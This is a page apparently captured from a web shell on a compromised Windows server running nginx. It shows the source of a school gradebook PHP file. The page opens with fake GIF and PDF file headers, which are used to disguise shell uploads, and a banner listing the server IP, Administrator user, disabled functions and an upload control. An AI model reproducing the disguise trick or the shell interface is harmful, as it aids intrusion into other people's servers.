GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Gradebook/ |
Upload File : |
<? // Gradebook/ClassGradebook.phpinc debugTrackBegin(); #setDebugOff(); if ( !isset($isGB) ) $isGB = true; /** / if ( $_SERVER['REMOTE_ADDR'] == '173.16.60.216' ) { printVar('$f_classId',$f_classId); } } /**/ require('Gradebook/evaluationInfo.phpinc'); #d_Var("\$f",$f,'d'); #d_Var("\$_GET",$_GET,'d'); if (isset($_GET['sortBy'])) { $sorby = $_GET['sortBy']; } else { $sorby = ''; } // Find critical evals and ensure they have been passed. $criticalEvalCount = 0; if (!isset($sId)) { $sId = 0; } foreach ( $eInfo as $eId => $evaluationInfo ) { // Loop thru evaluations. if ( $eId >= 0 || $evaluationInfo['points'] > 0 ) { // Does this eval have points? if ( !isset($sInfo[$sId]) ) $sInfo[$sId] = array(); if ( !isset($sInfo[$sId]['userId']) ) $sInfo[$sId]['userId'] = $_SESSION['userId']; $assignmentPoints = $evaluationInfo['points']; if ( $evaluationInfo['critical'] ) { $criticalEvalCount++; } } // Does this eval have points? } // Loop thru evaluations. #d_Var('$criticalEvalCount',$criticalEvalCount,'d'); #if ($debugLine ) printVar('$eInfo',$eInfo); #setDebugOff(); #setDebugOn(); require('Gradebook/evaluationStudentInfo.phpinc'); #if ($debugLine ) printVar('$sInfo',$sInfo); #if ($debugLine ) printVar('$variableCredits',$variableCredits); #setDebugOff(); if ( $userIdClassRosterList != '') { $studentCount = listLen($userIdClassRosterList); } else { $studentCount = 0; } if ( $studentCount !=1 ) { $s = 's'; } else { $s = ''; } $sectionTitle = $TitleOfCourse[$f_classId].'-'.$classSection.' Gradebook <span class="smaller">('.$studentCount.' student'.$s.') #'.$f_classId.'</span>'; #$centerSection = false; require('common/sectionHeader.phpinc'); #d_Var('$userIdClassRosterList',$userIdClassRosterList,'d'); //$ShowSectionFilterNameInGradeBook = true; if ( !isset($ShowSectionFilterNameInGradeBook) ) $ShowSectionFilterNameInGradeBook = false; #printVar('$ShowSectionFilterNameInGradeBook',$ShowSectionFilterNameInGradeBook); #require('Class/SectionFilter.phpinc'); #printVar('$Instructor',$Instructor); // Calculate semester week. #d_Var("\$_SESSION['YRTR']['User_Start']",$_SESSION['YRTR']['User_Start'],'d'); #d_Var('currentDate()',currentDate(),'d'); $semesterWeek = (int)( date_difference($_SESSION['YRTR']['User_Start'],currentDate()) / 7 ); #d_Var('$semesterWeek',$semesterWeek,'d'); /** /d_Var("\$f['PostGrades']",$f['PostGrades'],'d'); /**/ ?> <table style="width:1180px;"> <tr> <td class="center"> <? if ( $isGB ) { ?> <form name="form_gradebook_view" action="<?=str_replace('index.php','',$_SERVER['PHP_SELF']);?>" method="post" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="form_gradebook_view"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>"> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>"> <input name="f_task" type="hidden" value="Class Evaluations"> <input name="f_evaluationId_hidden" type="hidden" value=""> <? } ?> <? d_Var('$eInfo',$eInfo,''); ?> <div id="gradingInfo" class="left"> Points needed for each grade: <? $percentages = array(93, 90, 87, 83, 80, 77, 73, 70); $letterGrades = array('A', 'A-', 'B+', 'B', 'B-', 'C+', 'C', 'C-', 'F'); for ( $i = 0; $i < count($percentages); $i++ ) { $percentage = $percentages[$i]; $pointsNeeded = ( (int)( $evaluationTotalGradedPoints * $percentage / 10 + .99 ) ) / 10; echo '<b>'.gradeClass(gradeLetterAF($percentage)).'</b> = '.$pointsNeeded.' '; } echo '<b>'.gradeClass(gradeLetterAF(0)).'</b> < '.$pointsNeeded.' points'; echo '<br>'; if ( $evaluationExtraCredit ) { ?> <span class="bold evalEC">Green - This evaluation is for extra credit.</span><br> <? } if ( $evaluationCritical ) { ?> <span class="bold evalCr">Yellow background - This assignment is critical. If it is not passed a grade of F is given for the class.</span><br> <? } ?> </div> <div id="scrollContainer"> <? // Student rows. $sRow = 0; $sRowHeader = ''; $sRowFooter = ''; foreach ( $sInfo as $sId => $temp) { // Loop thru students. if ( !in_array($sId,$studentIds) ) { $studentIds[] = $sId; $sRowHeader = (int)($sRow/$sRows)*$sRows; #if ( $sRow == $sRowHeader ) printVar('$sRow $sRowHeader',$sRow." ".$sRowHeader); if ( $sRow == $sRowHeader ) require('Gradebook/ClassGradebookHeader.phpinc'); #printVar('$sId',$sId); // Student Id and name. #d_Var('$temp',$temp,'d'); if (!isset($sId) || $sId == '' ) $sId = $_SESSION['userStudentId']; if (!isset($sInfo[$sId]['userId']) ) $sInfo[$sId]['userId'] = $_SESSION['userId']; // || $sInfo[$sId]['userId'] == '' #d_Var("\$sInfo[$sId]['name']",$sInfo[$sId]['name'],'d'); $StudentID = $sId; if ( strlen($sInfo[$sId]['name']) > $studentNameCharCount ) { $studentNameCharCount = strlen($sInfo[$sId]['name']); } if ( $f['PostGrades'] ) { $f['PostGrades'] = 1; $emailSubject = ' - Final grade report'; $sorby == 'Lastname'; } else { $f['PostGrades'] = 0; $emailSubject = ' - Grade status report'; } #d_Var('$sorby',$sorby,'d'); if ($sorby == 'Lastname') { $nameParts = explode(' ',$sInfo[$sId]['name']); $sInfo[$sId]['name'] = trim($nameParts[1].', '.$nameParts[0]); } ?> <tr id="trStudentRow_<?=$sId?>"<? if ( $sInfo[$sId]['status'] == 'NotInClass' ) { ?> class="userNotInClass"<? } ?>> <td class="fixedColumn user<?=$sInfo[$sId]['status']?>"> <div class="studentIdColumn right<?=$rowClass?>"><?=$sId?></div><!-- StudentID --> <div id="divStudentName_<?=$sId?>" class="studentNameColumn left<?=$rowClass?>" style="z-index:1;" title="lastLogin=<?=$sInfo[$sId]['login']?> userId=<?=$sInfo[$sId]['userId']?>"> <a onClick="openGradeUpdate(this);" id="<?=$f_classId?>_<?=$sId?>_<?=$sInfo[$sId]['userId']?>_<?=$f['PostGrades']?>" href="mailto:<?=$sInfo[$sId]['email']?>?cc=<?=$Instructor['eMail']?>&subject=<?=$f_courseNumber?><?=$emailSubject?>"><span class="user<?=$sInfo[$sId]['status']?>"><?=$sInfo[$sId]['name']?></span></a> </div><!-- Student name --> <? /** /d_Var("\$f['PostGrades']",$f['PostGrades'],'d'); /**/ ?> </td><!-- SP Grade --> <? $studentTotalPoints = 0; $studentGradedPoints = 0; if ( $variableCredits === true ) { if ( !isset($sInfo[$sId]['credits']) ) $sInfo[$sId]['credits'] = ''; ?> <td class="creditColumn<?=$rowClass?>" title="Student credits"><?=$sInfo[$sId]['credits']?></td> <? } #d_Var('$eInfo',$eInfo,'d'); $criticalEvalsFailedCount = 0; $colCount = 0; foreach ( $eInfo as $eId => $eData ) { // Loop thu the student evaluation data. #d_Var('$eData',$eData,'d'); if ( $eId >= 0 || $eInfo[$eId]['points'] > 0 ) { $assignmentPoints = $eData['points']; #d_Var('$assignmentPoints',$assignmentPoints,'d'); require('Gradebook/ClassGradebookEvaluationData.phpinc'); //d_Var('$evaluationInfo',$evaluationInfo,'d'); if ( is_numeric($grade) ) { $gradePoints = $grade; } else { $gradePoints = 0; } #d_Var('$gradePoints',$gradePoints,'d'); if ( $eData['critical'] ) { //$assignmentClass = ' evalCr'; //$criticalEvalCount++; $evalClass .= ' evalCr'; if ( $gradePoints / $assignmentPoints < .70 ) { $criticalEvalsFailedCount++; } } if ( $grade !== 'ng' ) { $gradeClass = 'grade'; } else { $gradeClass = 'grade bold'; } $commentText = $comment; if ( $commentText == '' ) $commentText = 'No note.'; if ( stripos($comment,'by the date it was due') != false || stripos($internal,'by the date it was due') != false ) { $evalClass .= ' evalOD'; } $colCount++; $CSSclass = ''; if ( $colCount === 1 ) { $CSSclass = "secondCol "; } ?> <td class="<?=$CSSclass?><? if ( $isGB ) { ?>click <? } ?>dataColumn<?=$evalClass?><?=$rowClass?><?=$hide?>" id="id_<?=$f_classId?>_<?=$sId?>_<?=$sInfo[$sId]['userId']?>_<?=$eId?>_<?=$eData['title']?>" <? if ( $isGB ) { ?> onClick="highlightSNC('<?=$sId?>','<?=$eId?>'); openGradeWindow(this,0);"<? } ?> onMouseOver="ttShowHTML('<?=str_replace('<br>','~~b',CRtoBR(htmlView($commentText)))?>','normal pre');" onMouseOut="ttHide();"> <? if ( $isGB ) { ?><span class="<?=$gradeClass?>"><? } ?><?=$grade?><? if ( $isGB ) { ?></span><? } ?> </td><!-- Grade --> <? } } // Loop thu the student evalueaton data. #d_Var('$criticalEvalsFailedCount',$criticalEvalsFailedCount,'d'); if ( !$criticalEvalCount || ( $criticalEvalCount && !$criticalEvalsFailedCount ) ) { $finalGrade = gradeClass(gradeLetterAC(gradePercentage($studentTotalPoints,$evaluationTotalGradedPoints))); if ($finalGrade != '<span class="gradeA">A</span>') { $finalTitle = 'Final class grade if assignment scores do not improve.'; } else { $finalTitle = 'Final class grade.'; } $finalClass = ''; } else { // Did not do or did not pass critical eval. $finalGrade = str_replace('gradeF','gradeF gradeFCritical',gradeClass(gradeLetterAC(0,$evaluationTotalGradedPoints))); $finalTitle = 'Fail because '.$criticalEvalsFailedCount; $finalTitle .= ' critical evaluation'; if ( $criticalEvalsFailedCount > 1 ) { $finalTitle .= 's'; } if ( $criticalEvalsFailedCount == 1 ) { $finalTitle .= ' was'; } else { $finalTitle .= ' were'; } $finalTitle .= ' not passed.'; $finalClass = ''; } ?> <td class="dataColumn<?=$rowClass?>" title="Total points"<?=$containerStyle?>><?=$studentTotalPoints?></td> <td class="dataColumn<?=$rowClass?><?=$finalClass?>" onMouseOver="ttShow('<?=$finalTitle?>');" onMouseOut="ttHide();"><?=$finalGrade?></td> <td class="dataColumn<?=$rowClass?><?=$hide?>" title="In progress grade."><?=gradeClass(gradeLetterAC(gradePercentage($studentTotalPoints,$studentGradedPoints)))?></td> <td class="<?=$rowClass?> user<?=$sInfo[$sId]['status']?> copyText"><?=valid_date($sInfo[$sId]['login'],'USA')?></td> </tr> <? #$gradeRow = array(); if ( $rowClass == ' row_odd' ) { $rowClass = ' row_even'; } else { $rowClass = ' row_odd'; } $sRow++; $sRowFooter = (int)($sRow/$sRows)*$sRows; #if ( $sRow == $sRowFooter ) printVar('$sRow $sRowFooter',$sRow." ".$sRowFooter); if ( $sRow == $sRowFooter ) require('Gradebook/ClassGradebookFooter.phpinc'); } } // Loop thru students. #if ( $sRow != $sRowFooter ) printVar('$sRow $sRowFooter',$sRow." ".$sRowFooter); if ( $sRow != $sRowFooter ) require('Gradebook/ClassGradebookFooter.phpinc'); ?> </div><!-- id="scrollContainer" --> <? if ( $isGB ) { ?> </form> <? } ?> </td> </tr> <tr> <td class="left"> Student Login status: <span class="userCurrent">Green = < 2 weeks,</span> <span class="userRecent">Blue = < 3 months,</span> <span class="userOlder">Orange = > 3 months,</span> <span class="userNever">Red = Never logged in</span>. <span class="userNotInClass">Black = Not in class</span>. <br> Grade status: <span class="evalGR">Green = Graded,</span> <span class="evalNG">Blue = Auto graded or Not graded,</span> <span class="evalNS">Orange = Not submitted,</span> <span class="evalNE">Red = Not entered</span>. </div> </td> </tr> </table> <? #setDebugOn(); require('common/sectionFooter.phpinc'); #if ( $_SERVER['REMOTE_ADDR'] == '50.82.158.167' ) setDebugOn(); debugTrackEnd(); ?>